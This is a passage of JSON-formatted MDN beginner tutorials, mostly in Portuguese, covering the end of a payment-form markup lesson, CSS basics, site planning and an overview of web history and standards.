value=\"amex\">American Express</option>\n    </select>\n  </p>\n  <p>\n    <label for=\"number\">\n      <span>Card number:</span>\n      <strong><abbr title=\"required\">*</abbr></strong>\n    </label>\n    <input type=\"number\" id=\"number\" name=\"cardnumber\" />\n  </p>\n  <p>\n    <label for=\"date\">\n      <span>Expiration date:</span>\n      <strong><abbr title=\"required\">*</abbr></strong>\n      <em>formatted as yyyy/mm/dd</em>\n    </label>\n    <input type=\"date\" id=\"date\" name=\"expiration\" />\n  </p>\n</section>\n```\n\n7. The last section we'll add is a lot simpler, containing only a `<button>` of type `submit`, for submitting the form data. Add this to the bottom of your form now:\n\n```html\n<p><button type=\"submit\">Validate the payment</button></p>\n```\n\n\nYou can see the finished form in action below (also find it on GitHub — see our payment-form.html source and running live):\n\nSummary\n-------\n\nYou now have all the knowledge you'll need to properly structure your HTML forms; the next article will dig into implementing all the different types of form widgets you'll want to use to collect information from your users.\n\nSee Also\n--------\n\n* A List Apart: *Sensible Forms: A Form Usability Checklist*\n* Anterior  (en-US)\n* Menu: Forms (en-US)\n* Próxima  (en-US)"}
{"title":"CSS básico - Aprendendo desenvolvimento web","text":"CSS básico\n==========\n\n* Anterior\n* Menu: Getting started with the web\n* Próxima\n\nCSS (Folha de Estilo em Cascata) é o código que você usa para dar estilo à sua página Web. *CSS básico* apresenta tudo que você precisa para começar. Responderemos a perguntas do tipo: Como mudo meu texto para preto ou vermelho? Como faço para que meu conteúdo apareça em determinados lugares na tela? Como decoro minha página com imagens e cores de fundo?\n\nEntão, o que realmente é CSS?\n-----------------------------\n\nAssim como o HTML, o CSS não é realmente uma linguagem de programação. Também não é uma linguagem de marcação — é uma *linguagem de folhas de estilos*. Isso significa que o CSS permite aplicar estilos seletivamente a elementos em documentos HTML. Por exemplo, para selecionar **todos** os elementos parágrafo de uma página HTML e tornar o texto dentro deles vermelho, você escreveria este CSS:\n\n\n```css\np {\n  color: red;\n}\n```\n\n\nVamos tentar: cole as três linhas de CSS acima em um novo arquivo, no seu editor de texto, e salve o arquivo como `estilo.css` na sua pasta `estilos`.\n\nAinda assim, precisamos aplicar o CSS ao seu documento HTML. Do contrário, o estilo CSS não irá afetar a maneira como o seu navegador mostra seu documento HTML (se você não estiver acompanhando o nosso projeto, leia Lidando com arquivos e HTML básico para descobrir o que você precisa fazer primeiro).\n\n1. Abra seu arquivo `index.html` e cole o seguinte código em algum lugar no cabeçalho, ou seja, entre as tags `<head>` e `</head>`:\n\n```html\n<link href=\"estilos/estilo.css\" rel=\"stylesheet\" />\n```\n\n2. Salve o arquivo `index.html` e abra ele no seu navegador. Você deve ver uma página como essa:\n\n![A mozilla logo and some paragraphs. The paragraph text has been styled red by our css.](/pt-BR/docs/Learn/Getting_started_with_the_web/CSS_basics/website-screenshot-styled.png)Se o texto do seu parágrafo estiver vermelho, parabéns! Você acabou de escrever seu primeiro CSS de sucesso.\n\n### Anatomia de um conjunto de regras CSS\n\nVamos dar uma olhada no CSS acima com mais detalhes:\n\n![](/pt-BR/docs/Learn/Getting_started_with_the_web/CSS_basics/css-declaration-small.png)\n\nToda essa estrutura é chamada de **conjunto de regras** (mas geralmente usamos o termo \"regra\", por ser mais curto). Note os nomes das partes individuais:\n\nSeletor (Selector)\n\nO nome do elemento HTML no começo do conjunto de regras. Ele seleciona o(s) elemento(s) a serem estilizados (nesse caso, elementos `<p>`). Para dar estilo a um outro elemento, é só mudar o seletor.\n\nDeclaração (Declaration)\n\nUma regra simples como `color: red;` especificando quais das **propriedades** do elemento você quer estilizar.\n\nPropriedades (Property)\n\nForma pela qual você estiliza um elemento HTML. (Nesse caso, `color` é uma propriedade dos elementos `<p>`.) Em CSS, você escolhe quais propriedades você deseja afetar com sua regra.\n\nValor da propriedade (Property value)\n\nÀ direita da propriedade, depois dos dois pontos, nós temos o **valor de propriedade**, que escolhe uma dentre muitas aparências possíveis para uma determinada propriedade (há muitos valores `color(cor)` além do `red(vermelho)`).\n\nNote outras partes importantes da sintaxe:\n\n* Cada linha de comando deve ser envolvida em chaves (`{}`).\n* Dentro de cada declaração, você deve usar dois pontos (`:`) para separar a propriedade de seus valores.\n* Dentro de cada conjunto de regras, você deve usar um ponto e vírgula (`;`) para separar cada declaração da próxima.\n\nEntão para modificar múltiplos valores de propriedades de uma vez, você deve escrevê-los separados por ponto e vírgula, desse modo:\n\n\n```css\np {\n  color: red;\n  width: 500px;\n  border: 1px solid black;\n}\n```\n\n### Selecionando múltiplos elementos\n\nVocê também pode selecionar vários tipos de elementos e aplicar um único conjunto de regras a todos eles. Inclua múltiplos seletores separados por vírgulas. Por exemplo:\n\n\n```css\np,\nli,\nh1 {\n  color: red;\n}\n```\n\n### Diferentes tipos de seletores\n\nHá muitos tipos diferentes de seletores. Abaixo, nós mostramos apenas os **seletores de elementos**, que selecionam todos os elementos de um determinado tipo nos documentos HTML. Mas nós podemos fazer seleções mais específicas que essas. Aqui estão alguns dos tipos mais comuns de seletores:\n\n| Nome do seletor | O que ele seleciona | Exemplo |\n| --- | --- | --- |\n| Seletor de elemento (às vezes, chamado tag ou seletor de tipo) | Todos os elementos HTML de determinado tipo. | `p` Seleciona `<p>` |\n| Seletor de ID | O elemento na página com o ID específicado. Em uma determinada página HTML, é uma boa prática usar um elemento por ID (e claro, um ID por elemento) mesmo que seja permitido usar o mesmo ID para vários elementos. | `#my-id` Seleciona `<p id=\"my-id\">` ou `<a id=\"my-id\">` |\n| Seletor de classe | O(s) elemento(s) na página com a classe específicada (várias instâncias de classe podem aparecer em uma página). | `.my-class` Seleciona `<p class=\"my-class\">` e `<a class=\"my-class\">` |\n| Seletor de atributo | O(s) elemento(s) na página com o atributo especificado. | `img[src]` Seleciona `<img src=\"myimage.png\">` mas não `<img>` |\n| Seletor de pseudo-classe | O(s) elemento(s) específicado(s), mas somente quando estiver no estado especificado. Ex.: com o mouse sobre ele. | `a:hover` Seleciona `<a>`, mas somente quando o mouse está em cima do link. |\n\nHá muito mais seletores para explorar e você pode achar uma lista mais detalhada em nosso Guia de seletores.\n\nFontes e texto\n--------------\n\nAgora que exploramos algumas noções básicas de CSS, vamos começar a adicionar mais regras e informações no nosso arquivo `estilo.css` para deixar nosso exemplo bonito. Vamos começar fazendo nossas fontes e textos parecerem um pouco melhores.\n\n1. Primeiro de tudo, volte e encontre a fonte do Google Fonts que você armazenou em algum lugar seguro. Adicione o elemento `<link>` em algum lugar dentro do cabeçalho no `index.html` (novamente, em qualquer lugar entre as tags `<head>` e `</ head>`). Será algo parecido com isto:\n\n```html\n<link\n href=\"http://fonts.googleapis.com/css?family=Open+Sans\"\n rel=\"stylesheet\" />\n```\n\nEsse código vincula sua página a uma folha de estilo que baixa a família de fontes Open Sans junto com sua página web e permite que você a defina em seus elementos HTML usando sua própria folha de estilos.\n2. Em seguida, exclua a regra existente no seu arquivo `estilo.css`. Foi um bom teste, mas o texto vermelho não parece muito bom.\n3. Adicione as seguintes linhas em seu lugar, substituindo a linha do espaço reservado pela linha `font-family` que você obteve do Google Fonts. (`font-family` significa apenas a(s) fonte(s) que você deseja usar para o seu texto.) Esta regra primeiro define uma fonte base global e o tamanho da fonte para a página inteira (já que `<html>` é o elemento pai de toda a página, e todos os elementos dentro dele herdam o mesmo `font-size` e `font-family`):\n\n```css\nhtml {\n  font-size: 10px; /\\* px significa \"pixels\": o tamanho da fonte base é agora de 10 pixels \\*/\n  font-family: \"Open Sans\", sans-serif; /\\* este deve ser o nome da fonte que você obteve no Google Fonts \\*/\n}\n```\n\n\n**Nota:** Qualquer coisa em um documento CSS entre `/*` e `*/` é um **comentário CSS**, que o navegador ignora quando renderiza o código. Este é um lugar para você escrever notas úteis sobre o que você está fazendo.\n4. Agora definiremos tamanhos de fonte para elementos que contêm texto dentro do corpo HTML (`<h1>` (en-US), `<li>` e `<p>`). Também centralizaremos o texto do nosso cabeçalho e definiremos a altura da linha e o espaçamento das letras no conteúdo do corpo para torná-lo um pouco mais legível:\n\n```css\nh1 {\n  font-size: 60px;\n  text-align: center;\n}\n\np,\nli {\n  font-size: 16px;\n  line-height: 2;\n  letter-spacing: 1px;\n}\n```\n\n\nVocê pode ajustar esses valores de `px` para o que você desejar, para deixar seu design com a aparência que quiser, mas no geral seu design deve parecer com isso:\n ![a mozilla logo and some paragraphs. a sans-serif font has been set, the font sizes, line height and letter spacing are adjusted, and the main page heading has been centered](/pt-BR/docs/Learn/Getting_started_with_the_web/CSS_basics/website-screenshot-font-small.png)\n\nCaixas, caixas, é tudo sobre caixas\n-----------------------------------\n\nUma coisa que você notará sobre escrever CSS é que muito disso é sobre caixas — indicar seu tamanho, cor, posição, etc. Muitos dos elementos HTML da sua página podem ser pensados como caixas umas em cima das outras.\n\n![a big stack of boxes or crates sat on top of one another](/pt-BR/docs/Learn/Getting_started_with_the_web/CSS_basics/boxes.jpg)\n\nComo esperado, o layout CSS é baseado principalmente no *modelo de caixas*. Cada um dos blocks que ocupam espaço na sua página tem propriedades como essas:\n\n* `padding`, o espaço ao redor do conteúdo (ex.: ao redor do texto de um parágrafo).\n* `border`, a linha sólida do lado de fora do padding.\n* `margin`, o espaço externo a um elemento.\n\n![three boxes sat inside one another. From outside to in they are labelled margin, border and padding](/pt-BR/docs/Learn/Getting_started_with_the_web/CSS_basics/box-model.png)\n\nNessa seção nós também vamos usar:\n\n* `width` (largura de um elemento).\n* `background-color`, a cor atrás do conteúdo de um elemento e do padding.\n* `color`, a cor do conteúdo de um elemento (geralmente texto).\n* `text-shadow`: cria uma sombra no texto dentro de um elemento.\n* `display`: define a maneira de dispor um elemento (não se preocupe com isso ainda).\n\nEntão, vamos começar e adicionar mais CSS à nossa página! Continue adicionando essas novas regras à parte inferior da página e não tenha medo de experimentar alterações nos valores para ver o que aparece.\n\n### Mudando a cor da página\n\n\n```css\nhtml {\n  background-color: #00539f;\n}\n```\n\n\nEssa regra define uma cor de fundo para toda a página. Mude a cor acima para a cor que você escolheu ao planejar seu site.\n\n### Separando o corpo\n\n\n```css\nbody {\n  width: 600px;\n  margin: 0 auto;\n  background-color: #ff9500;\n  padding: 0 20px 20px 20px;\n  border: 5px solid black;\n}\n```\n\n\nAgora para o elemento `<body>`. Há algumas declarações aqui, então vamos passar por elas uma a uma:\n\n* `width: 600px;` — Isso força o corpo a ter 600 pixels de largura.\n* `margin: 0 auto;` — Quando você define dois valores em uma propriedade como `margin` ou `padding`, o primeiro valor afeta a parte superior do elemento **e** a parte inferior (tornando-os `0` nesse caso), e no segundo valor os lados esquerdo **e** direito (aqui, `auto` é um valor especial que divide o espaço horizontal uniformemente entre esquerda e direita). Você também pode utilizar um, três ou quatro valores, como documentado aqui.\n* `background-color: #FF9500;` — como antes, isso define a cor de fundo do elemento. Usamos um tipo de laranja avermelhado no corpo, para opor ao azul escuro no elemento `<html>`, mas fique à vontade para ir em frente e experimentar.\n* `padding: 0 20px 20px 20px;` — temos quatro valores definidos no padding, para criar um pouco de espaço em torno do nosso conteúdo. Dessa vez, estamos definindo sem padding na parte superior do corpo, e 20 pixels no lado esquerdo, na parte inferior e no lado direito. Os valores definem a parte superior, o lado direito, a parte inferior e o lado esquerdo, nessa ordem. Como com a `margin`, você também pode usar um, dois, ou três valores, conforme documentado na sintaxe do padding.\n* `border: 5px solid black;` — isso simplesmente define uma borda preta sólida de 5 pixels de largura em todos os lados do corpo.\n### Posicionando e estilizando o título da nossa página principal\n\n\n```css\nh1 {\n  margin: 0;\n  padding: 20px 0;\n  color: #00539f;\n  text-shadow: 3px 3px 1px black;\n}\n```\n\n\nVocê deve ter notado que há um espaço horrível no topo do corpo. Isso acontece porque os browsers aplicam algumas **estilizações padrão** ao `<h1>` (en-US) (entre outros), mesmo quando você não aplicou nenhum CSS! Isso pode soar como uma má ideia, mas queremos ter uma legibilidade básica, mesmo em uma página sem estilos. Para nos livrarmos desse espaço, sobrescrevemos o estilo padrão, definindo `margin: 0;`.\n\nEm seguida, definimos o padding das partes superior e inferior do cabeçalho para 20 pixels e fizemos o texto do cabeçalho da mesma cor que a cor de fundo do HTML.\n\nUma propriedade bastante interessante que usaremos aqui é o `text-shadow`, que aplica uma sombra ao conteúdo de texto do elemento. Seus quatro valores são os seguintes:\n\n* O primeiro valor em pixel define o **deslocamento horizontal** da sombra do texto — até onde ele se move: um valor negativo deve movê-la para a esquerda.\n* O segundo valor em pixel define o **deslocamento vertical** da sombra do texto — o quanto ela se move para baixo, neste exemplo; um valor negativo deve movê-la para cima.\n* O terceiro valor em pixel define o **raio de desfoque** da sombra — um valor maior significará uma sombra mais borrada.\n* O quarto valor define a cor base da sombra.\n\nDe novo, tente experimentar com diferentes valores para ver o que você pode criar!\n\n### Centralizando a imagem\n\n\n```css\nimg {\n  display: block;\n  margin: 0 auto;\n}\n```\n\n\nFinalmente, centralizaremos a imagem para melhorar a aparência. Nós poderiamos usar novamente o truque `margin: 0 auto` que aprendemos anteriormente para o corpo, mas também precisamos fazer outra coisa. O elemento `<body>` é **em nível de bloco**, o que significa que ocupa espaço na página e pode ter margens e outros valores de espaçamento aplicados a ele. Imagens, por outro lado, são elementos **em linha**, o que significa que não podem ter margens. Então, para aplicar margens a uma imagem, temos que dar o comportamento de nível de bloco a imagem usando `display: block;`.\n\n**Nota:** As instruções acima assumem que você está usando uma imagem menor que a largura definida no corpo (600 pixels). Se sua imagem for maior, ela irá transbordar o corpo e vazar para o restante da página. Para corrigir isso, você pode 1) reduzir a largura da imagem usando um editor gráfico (em inglês) ou 2) dimensionar a imagem usando CSS definindo a propriedade `width` no elemento `<img>` com um valor menor (por exemplo, `400 px;`).\n\n**Nota:** Não se preocupe se você ainda não entender `display: block;` ou a distinção entre em nível de bloco / em linha. Você entenderá ao estudar CSS com mais profundidade. Você pode descobrir mais sobre os diferentes valores de exibição disponíveis em nossa página de referência sobre display.\n\nConclusão\n---------\n\nSe você seguiu todas as instruções desse artigo, você deve terminar com uma página parecida com essa (você também pode ver nossa versão aqui):\n\n![a mozilla logo, centered, and a header and paragraphs. It now looks nicely styled, with a blue background for the whole page and orange background for the centered main content strip.](/pt-BR/docs/Learn/Getting_started_with_the_web/CSS_basics/website-screenshot-final.png)\n\nSe você emperrar, sempre poderá comparar seu trabalho com nosso código de exemplo finalizado no Github.\n\nAqui, nós só arranhamos na superfície do CSS. Para descobrir mais, vá ao nosso tópico de aprendizado CSS.\n\n* Anterior\n* Menu: Getting started with the web\n* Próxima"}
{"title":"Como será o seu site? - Aprendendo desenvolvimento web","text":"Como será o seu site?\n=====================\n\n* Anterior\n* Menu: Getting started with the web\n* Próxima\n\n*Como será o seu site?* discute o trabalho de planejamento e design que você precisa fazer para o seu site antes de escrever o código, incluindo \"Quais informações meu site oferece?\", \"Quais fontes e cores eu quero?\" e \"O que meu site faz?\"\n\nPrimeiramente: planejamento\n---------------------------\n\nAntes que você faça qualquer coisa, você precisa de algumas ideias. O que seu site realmente vai fazer? Um site pode fazer praticamente tudo, mas primeiro você deve manter as coisas em um nível simples. Nós vamos começar criando um site simples com um cabeçalho, uma imagem e alguns parágrafos.\n\nPara começar, você deve responder às seguintes questões:\n\n1. **Sobre o que é seu site?** Você gosta de cachorros, Nova Iorque ou Pacman?\n2. **Que informação você está apresentando sobre o assunto?** Escreva um título e alguns parágrafos e pense em uma imagem para ilustrar sua página.\n3. **Como será seu site,** em termos simples. Qual é a cor de fundo? Qual é o tipo de fonte apropriado: formal, desenhado, negrito e gritante, sutil?\n\n**Nota:** Projetos complexos precisam de guias detalhados que abordam todos os detalhes de cores, fontes, espaçamento entre itens de uma página, estilo de escrita apropriado, e por aí vai. Isso é denominado um guia de design, sistema de design ou manual da marca, e você pode ver um exemplo no Sistema de Design do Firefox Photon (em inglês).\n\nRascunhando seu design\n----------------------\n\nEm seguida, pegue papel e caneta e faça um rascunho de como você deseja que seu site seja. Para sua primeira página simples, não há muito o que rascunhar, mas você deve criar o hábito desde o começo. Realmente ajuda — você não precisa ser um Van Gogh!\n\n![](/pt-BR/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like/website-drawing-scan.png)\n\n**Nota:** Mesmo em sites reais e complexos, os times de design geralmente começam pelo rascunho em papel e depois constroem a versão digital usando um editor gráfico ou tecnologias da web.\n\nOs times de web geralmente incluem um designer gráfico e um designer de experiencia do usuário (UX). Designers gráficos, obviamente, constroem a parte visual do site. UX designers tem uma função de certa forma mais abstrata, direcionando como os usuários vão interagir e experimentar o site.\n\nConstruindo seus ativos\n-----------------------\n\nNesse ponto, é bom começar juntando o conteúdo que vai eventualmente aparecer no site.\n\n### Texto\n\nVocê deve ter seu título e parágrafos desde antes. Mantenha eles por perto.\n\n### Cor do tema\n\nPara escolher a cor, vá ao Seletor de Cores e escolha a cor que preferir. Quando escolher a cor, você verá uma sequência de seis caracteres, como `#660066`. Isso é chamado um *código hex(adecimal)*, e representa sua cor. Copie esse código em algum lugar seguro por enquanto.\n\n![](/pt-BR/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like/screenshot_from_2014-11-03_17-40-49.png)\n\n### Imagens\n\nPara escolher uma imagens, vá no Google Imagens e procure por algo que se encaixe no seu site.\n\n1. Quando você achar a imagem que você quer, clique nela para obter uma visão ampliada dela.\n2. Clique com o botão direito na imagem (Ctrl + click no Mac) escolha *Salvar imagem como...* e escolha um local seguro para salvar sua imagem. Como alternativa, copie o endereço web da imagem da barra de endereço do navegador, para uso posterior.\n\n![](/pt-BR/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like/updated-google-images.png)\n\nObserve que a maioria das imagens na Web, inclusive no Imagens do Google, é protegida por direitos autorais. Para reduzir a probabilidade de violar direitos autorais, você pode usar o filtro de licenças do Google. Clique no botão *Ferramentas* e, em seguida, na opção *Direitos de uso* resultante que aparece abaixo. Você deve escolher uma opção como *Marcada para reutilização*.\n\n![](/pt-BR/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like/updated-google-images-licensing.png)\n\n### Fonte\n\nPara escolher uma fonte:\n\n1. Vá no Google Fontes e role a lista até que você ache uma que você goste. Você também pode usar os controles à direita para filtrar os resultados.\n2. Clique no ícone \"mais\" (Adicionar a) ao lado da fonte desejada.\n3. Clique no botão \"\\* Família Selecionada\" no painel na parte inferior da página (\"\\*\" depende de quantas fontes você selecionou).\n4. Na caixa pop-up, você pode ver e copiar as linhas de código que o Google oferece em seu editor de texto para salvar posteriormente.\n\n![](/pt-BR/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like/font1.png)\n\n![](/pt-BR/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like/font2.png)\n\n* Anterior\n* Menu: Getting started with the web\n* Próxima"}
{"title":"A web e seus padrões - Aprendendo desenvolvimento web","text":"A web e seus padrões\n====================\n\nEste artigo fornece algumas informações úteis sobre a Web - como ela surgiu, quais são suas tecnologias padrões, como elas funcionam juntas, porque \"desenvolvedor web\" é uma grande carreira para escolher e quais são os tipos de boas práticas são coisas que você aprenderá neste curso.\n\nBreve histórico da web\n----------------------\n\nSeremos breves, já que existem muitos (mais) artigos detalhados do histórico da web por aí, que mostraremos mais tarde (tente também pesquisar por \"histórico da web\" no seu mecanismo de pesquisa favorito e veja o que você encontra, se estiver interessado em maiores detalhes.)\n\nNo fim da década de 1960, os militares dos Estados Unidos desenvolveram uma rede de comunicação chamada ARPANET. Ela pode ser considerada como precursora da Web, já que trabalhava com comutação de pacotes e apresentou a primeira implementação do conjuto de protocolos TCP/IP. Estas duas tecnologias formaram a base da infraestrutura em que a internet foi construída.\n\nEm 1980, Tim Berners-Lee (frequentemente chamado de TimBL) escreveu um programa de notebook chamado ENQUIRE, que apresentava o conceito de links entre diferentes nós. Parece familiar?\n\nAvance para 1989, e TimBL escreveu Information Management: A Proposal and HyperText and CERN; essas duas publicações juntas forneceram o pano de fundo de como a web funcionaria. Eles receberam uma boa quantidade de juros, o suficiente para convencer os chefes da TimBL a permitir que ele fosse em frente e criasse um sistema de hipertexto global.\n\nNo final de 1990, TimBL havia criado todas as coisas necessárias para executar a primeira versão da web - HTTP , HTML , o primeiro navegador da web, que era chamado de WorldWideWeb , um servidor HTTP e algumas páginas da web para olhar.\n\nNos próximos anos que se seguiram, a web explodiu, com vários navegadores sendo lançados, milhares de servidores da web sendo configurados e milhões de páginas da web sendo criadas. OK, é um resumo muito simples do que aconteceu, mas prometi a você um breve resumo.\n\nUm último dado significativo para compartilhar é que, em 1994, TimBL fundou o World Wide Web Consortium (W3C), uma organização que reúne representantes de muitas empresas de tecnologia diferentes para trabalharem juntos na criação de especificações de tecnologia da web. Depois disso, outras tecnologias surgiram, como CSS e JavaScript , e a web começou a se parecer mais com a que conhecemos hoje.\n\nPadrões da web\n--------------\n\n**Os padrões da Web** são as tecnologias que usamos para construir sites. Esses padrões existem como longos documentos técnicos chamados especificações, que detalham exatamente como a tecnologia deve funcionar. Esses documentos não são muito úteis para aprender como usar as tecnologias que eles descrevem (é por isso que temos sites como MDN Web Docs), mas em vez disso, devem ser usados por engenheiros de software para implementar essas tecnologias (geralmente em navegadores da web).\n\nPor exemplo, o HTML Living Standard descreve exatamente como o HTML (todos os elementos HTML e suas APIs associadas e outras tecnologias adjacentes) deve ser implementado.\n\nOs padrões da Web são criados por órgãos de padrões - instituições que convidam grupos de pessoas de diferentes empresas de tecnologia para se reunirem e concordarem sobre como as tecnologias devem funcionar da melhor maneira para cumprir todos os seus casos de uso. O W3C é o órgão de padrões da web mais conhecido, mas existem outros como o WHATWG (que foi responsável pela modernização da linguagem HTML), ECMA (que publicou o padrão para ECMAScript, no qual o JavaScript é baseado), Khronos (que publica tecnologias para gráficos 3D, como WebGL) e outros.\n\n### Padrões \"abertos\"\n\nUm dos principais aspectos dos padrões da web, que TimBL e o W3C concordaram desde o início, é que a web (e as tecnologias da web) devem ser livres para contribuir e usar, e não onerada por patentes / licenciamento. Portanto, qualquer pessoa pode escrever o código para construir um site de graça e pode contribuir com o processo de criação de padrões, onde as especificações são escritas.\n\nComo as tecnologias da web são criadas abertamente, em colaboração entre muitas empresas diferentes, isso significa que nenhuma empresa consegue controlá-las, o que é realmente bom. Você não gostaria que uma única empresa repentinamente decidisse colocar toda a web atrás de um acesso pago, ou lançar uma nova versão de HTML que todos precisam comprar para continuar a fazer sites, ou pior ainda, apenas decidir que não estão mais interessados e apenas desligá-lo.\n\nIsso permite que a web continue sendo um recurso público disponível gratuitamente.\n\n### Não quebre a web\n\nOutra frase que você ouvirá sobre os padrões abertos da web é \"não quebre a web\" - a ideia é que qualquer nova tecnologia da web introduzida deve ser compatível com o que existia antes (ou seja, os sites antigos ainda continuarão a funcionar ), e compatível com as versões futuras (tecnologias futuras, por sua vez, serão compatíveis com o que temos atualmente). Conforme você avança no material de aprendizagem apresentado aqui, você começará a aprender como isso é possível com um projeto muito inteligente e trabalho de implementação.\n\nSer um desenvolvedor web é bom\n------------------------------\n\nA indústria da web é um mercado muito atraente para se entrar, se você estiver procurando por um emprego. Números publicados recentes dizem que existem atualmente cerca de 19 milhões de desenvolvedores da web no mundo, e esse número deve mais que dobrar na próxima década. E, ao mesmo tempo, há uma escassez de habilidades na indústria - então, que melhor momento para aprender desenvolvimento web?\n\nNo entanto, nem tudo é diversão e jogos - construir sites é uma proposta mais complicada do que costumava ser, e você terá que investir algum tempo para estudar todas as diferentes tecnologias que precisa usar, todas as técnicas e melhores práticas que você precisa saber e todos os padrões típicos que você deverá implementar. Você levará alguns meses para realmente começar a entrar no assunto e, em seguida, precisará continuar aprendendo para que seu conhecimento fique atualizado com todas as novas ferramentas e recursos que aparecem na plataforma da web, e continue praticando e refinando seu ofício.\n\n*A única constante é a mudança.*\n\nIsso parece difícil? Não se preocupe - nosso objetivo é fornecer a você tudo o que você precisa saber para começar, e as coisas ficarão mais fáceis. Depois de abraçar as constantes mudanças e incertezas da web, você começará a se divertir. Como parte da comunidade web, você terá toda uma rede de contatos e materiais úteis para ajudá-lo, e começará a desfrutar das possibilidades criativas que isso traz.\n\nVocê é um criativo digital agora. Aproveite a experiência e o potencial para ganhar a vida.\n\nVisão geral das tecnologias modernas da web\n-------------------------------------------\n\nExistem várias tecnologias para aprender se você quiser ser um desenvolvedor front-end da web. Nesta seção, iremos descrevê-los brevemente. Para uma explicação mais detalhada de como alguns deles funcionam juntos, leia nosso artigo Como funciona a web .\n\n### Navegadores\n\nProvavelmente, você está lendo essas palavras dentro de um navegador da Web neste exato momento (a menos que as tenha imprimido ou esteja usando tecnologia de assistência, como um leitor de tela para ler para você). Os navegadores da web são os programas de software que as pessoas usam para consumir a web e incluem Firefox , Chrome , Opera , Safari e Edge .\n\n### HTTP\n\nO protocolo de transferência de hipertexto, ou HTTP , é um protocolo de mensagens que permite aos navegadores da web se comunicarem com os servidores da web (onde os sites da web são armazenados). Uma conversa típica é algo como\n```\n\n\"Hello web server. Can you give me the files I need to render bbc.co.uk\"?\n\n\"Sure thing web browser — here you go\"\n\n[Downloads files and renders web page]\n```\n\n\nA sintaxe real para mensagens HTTP (chamadas de solicitações e respostas) não é legível por humanos, mas isso lhe dá uma ideia básica.\n\n### HTML, CSS e JavaScript\n\nHTML , CSS e JavaScript são as três tecnologias principais que você usará para construir um site:\n\n* A linguagem de marcação de hipertexto, ou **HTML** , é uma linguagem de marcação que consiste em diferentes elementos nos quais você pode agrupar (marcar) o conteúdo para dar-lhe significado (semântica) e estrutura. HTML simples se parece com isto:\n\n```html\n<h1>This is a top-level heading</h1>\n\n<p>This is a paragraph of text.</p>\n\n<img src=\"cat.jpg\" alt=\"A picture of my cat\" />\n```\n\nSe adotássemos uma analogia com a construção de uma casa, o HTML seria como as fundações e paredes da casa, que lhe dão estrutura e a mantém unida.\n* Cascading Style Sheets ( **CSS** ) é uma linguagem baseada em regras usada para aplicar estilos ao seu HTML, por exemplo, definindo texto e cores de fundo, adicionando bordas, animando coisas ou fazendo o layout de uma página de uma determinada maneira. Como um exemplo simples, o código a seguir tornaria nosso parágrafo HTML em vermelho:\n\n```css\np {\n  color: red;\n}\n```\n\nNa analogia da casa, CSS é como a pintura, o papel de parede, os tapetes e as pinturas que você usaria para deixar a casa bonita.\n* **JavaScript** é a linguagem de programação que usamos para adicionar interatividade aos sites, desde a troca de estilo dinâmico até a obtenção de atualizações do servidor, até gráficos 3D complexos. O seguinte JavaScript simples armazenará uma referência ao nosso parágrafo na memória e mudará o texto dentro dele:\n\n```js\nlet pElem = document.querySelector(\"p\");\npElem.textContent = \"We changed the text!\";\n```\n\nNa analogia da casa, o JavaScript é como o fogão, a TV, o microondas ou o secador de cabelo - as coisas que fornecem funcionalidade útil à sua casa\n### Ferramentas\n\nDepois de aprender as tecnologias \"brutas\" que podem ser usadas para construir páginas da web (como HTML, CSS e JavaScript), você logo começará a encontrar várias ferramentas que podem ser usadas para tornar seu trabalho mais fácil ou mais eficiente. Exemplos incluem:\n\n* As ferramentas de desenvolvedor dentro de navegadores modernos que podem ser usadas para depurar seu código.\n* Ferramentas de teste (en-US) que podem ser usadas para executar testes para mostrar se o seu código está se comportando como você deseja.\n* Bibliotecas e estruturas construídas com base em JavaScript que permitem a você construir certos tipos de site da Web com muito mais rapidez e eficácia.\n* Os chamados \"Linters\", que pegam um conjunto de regras, olham para o seu código e destacam os lugares onde você não seguiu as regras corretamente.\n* Minificadores, que removem todos os espaços em branco dos arquivos de código para torná-los menores e, portanto, fazer o download do servidor mais rapidamente.\n### Linguagens e estruturas do lado do servidor\n\nHTML, CSS e JavaScript são linguagens de front-end (ou cliente), o que significa que são executadas pelo navegador para produzir um front-end de site que seus usuários possam usar.\n\nHá outra classe de linguagens chamadas linguagens de back-end (ou do lado do servidor), o que significa que são executadas no servidor antes de o resultado ser enviado ao navegador para exibição. Um uso típico para uma linguagem do lado do servidor é obter alguns dados de um banco de dados e gerar algum HTML para conter os dados, antes de enviar o HTML ao navegador para exibi-lo ao usuário.\n\nLinguagens de servidor de exemplo incluem ASP.NET, Python, PHP e NodeJS.\n\nMelhores práticas da web\n------------------------\n\nFalamos brevemente sobre as tecnologias que você usará para construir sites. Agora, vamos discutir as melhores práticas que você deve empregar para garantir que está usando essas tecnologias da melhor maneira possível.\n\nAo fazer o desenvolvimento da web, a principal causa de incerteza vem do fato de que você não sabe qual combinação de tecnologia cada usuário usará para visualizar seu site:\n\n* O usuário 1 pode estar olhando para ele em um iPhone, com uma tela pequena e estreita.\n* O usuário 2 pode estar olhando para ele em um laptop Windows com um monitor widescreen conectado a ele.\n* O usuário 3 pode ser cego e usar um leitor de tela para ler a página da web para eles.\n* O usuário 4 pode estar usando uma máquina de desktop muito antiga que não pode executar navegadores modernos.\n\nComo você não sabe exatamente o que seus usuários usarão, você precisa fazer um design defensivo - tornar seu site o mais flexível possível, de modo que todos os usuários acima possam usá-lo, mesmo que nem todos recebam o mesmo experiência. Resumindo, estamos tentando fazer a web funcionar para todos, tanto quanto possível.\n\nVocê encontrará os conceitos abaixo em algum momento de seus estudos.\n\n* **A compatibilidade entre navegadores** é a prática de tentar garantir que sua página da web funcione em tantos dispositivos quanto possível. Isso inclui o uso de tecnologias que todos os navegadores suportam, proporcionando melhores experiências aos navegadores que podem lidar com elas (aprimoramento progressivo) e / ou escrever código para que ele volte a uma experiência mais simples, mas ainda utilizável em navegadores mais antigos (degradação normal). Também envolve muitos testes para ver se algo falha em determinados navegadores e, em seguida, mais trabalho para corrigir essas falhas.\n* **Web design responsivo** é a prática de tornar sua funcionalidade e layouts flexíveis para que eles possam se adaptar automaticamente a diferentes navegadores. Um exemplo óbvio é um site que é apresentado de uma maneira em um navegador widescreen na área de trabalho, mas é exibido como um layout mais compacto de coluna única em navegadores de telefones celulares. Tente ajustar a largura da janela do navegador agora e veja o que acontece.\n* **Desempenho** significa carregar os sites o mais rápido possível, mas também torná-los intuitivos e fáceis de usar, para que os usuários não 